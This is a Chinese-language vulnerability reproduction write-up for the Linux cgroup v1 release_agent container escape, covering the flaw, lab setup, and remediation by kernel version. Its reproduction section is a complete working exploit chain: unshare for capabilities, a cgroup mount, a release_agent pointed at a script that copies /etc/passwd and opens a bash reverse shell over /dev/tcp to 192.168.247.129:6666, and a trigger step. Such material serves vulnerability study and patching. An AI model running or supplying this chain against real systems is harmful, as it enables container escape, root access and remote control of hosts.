影响版本

2.6.24-rc1 至 5.17-rc2

漏洞原理

cgroup 是 Linux 内核的一个功能,用于限制、控制与分离一个进程组群的资源。cgroup v1 有一个 release_agent 文件,允许管理员配置一个 “发布代理” 程序,当 cgroup 中的最后一个进程退出时,内核会检查该 cgroup 的 notify_on_release 参数是否启用,如果启用,就会以 root 身份运行 release_agent 文件中指定的程序。

按照正常的安全逻辑,只有具有特定权限(如 CAP_SYS_ADMIN)的用户才能修改 release_agent 文件。然而,该漏洞没有针对性地检查设置 release_agent 文件的进程是否具有正确的权限。

利用方式:攻击者可以在容器内通过 unshare 命令创建新的用户命名空间,在新的命名空间中,攻击者可以获得包括 CAP_SYS_ADMIN 在内的全部 capabilities。此时,攻击者即使在原本没有 CAP_SYS_ADMIN 权限的情况下,也能够修改 release_agent 文件,将其指向一个恶意程序。当 cgroup 中的进程终止时,内核会根据 notify_on_release 的设置,以 root 权限运行攻击者指定的恶意程序,从而实现容器逃逸,获取宿主机的控制权。

环境搭建

1
2
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it -h cve1 --name cve1 --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
1
2
3
4
5
6
//没有sys_admin
proxychains4 docker pull ubuntu:20.04
docker run --rm -it -h cve2 --name cve2 --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
apt update && apt install -y util-linux # 提供unshare命令
apt update && apt install -y libcap2-bin #提供capsh
capsh --print | grep "CAP_SYS_ADMIN" #空表示没有权限

漏洞复现

进入容器后获取权限

1
unshare -urmcbash

挂载 cgroup,创建子目录

1
2
3
mkdir /tmp/mountest
mount -t cgroup -o rdma cgroup /tmp/mountest
mkdir /tmp/mountest/x

配置 release_agent
在之前创建的 cgroup 子目录中进行配置:

1
2
3
4
# 设置notify_on_release为1
echo 1 > /tmp/mountest/x/notify_on_release
# 设置release_agent指向容器内的一个脚本(后续会被替换为宿主机路径)
echo "/escape.sh" > /tmp/mountest/release_agent

创建逃逸脚本

1
2
3
4
echo '#!/bin/sh' > /escape.sh
echo 'cp /etc/passwd /tmp/host_passwd' >> /escape.sh # 示例:复制宿主机passwd文件
echo 'bash -i >& /dev/tcp/192.168.247.129/6666 0>&1' >> /escape.sh
chmod +x /escape.sh

触发 release_agent 执行

1
2
3
4
# 在cgroup中创建一个进程
sh -c "echo \$\$ > /tmp/mountest/x/cgroup.procs"
# 终止该进程以触发release_agent
kill -9 $(cat /tmp/mountest/x/cgroup.procs)

反弹shell只有连一下,一瞬间就会结束

修复建议

及时跟进内核和 Docker 等容器运行时的安全更新,修补已知漏洞。

  • Ubuntu

    • Ubuntu 22.04 LTS(内核版本≥5.15.0-25,包含后端移植的修复补丁)
    • Ubuntu 20.04 LTS(内核版本≥5.4.0-107,通过安全更新修复)
    • Ubuntu 18.04 LTS(内核版本≥4.15.0-197,通过安全更新修复)
  • CentOS/RHEL

    • CentOS 8/RHEL 8(内核版本≥4.18.0-348.20.1,通过安全更新修复)
    • CentOS 7/RHEL 7(内核版本≥3.10.0-1160.59.1,通过安全更新修复)
  • Debian

    • Debian 11(Bullseye,内核版本≥5.10.106-1,包含修复)
    • Debian 10(Buster,内核版本≥4.19.249-2,通过安全更新修复)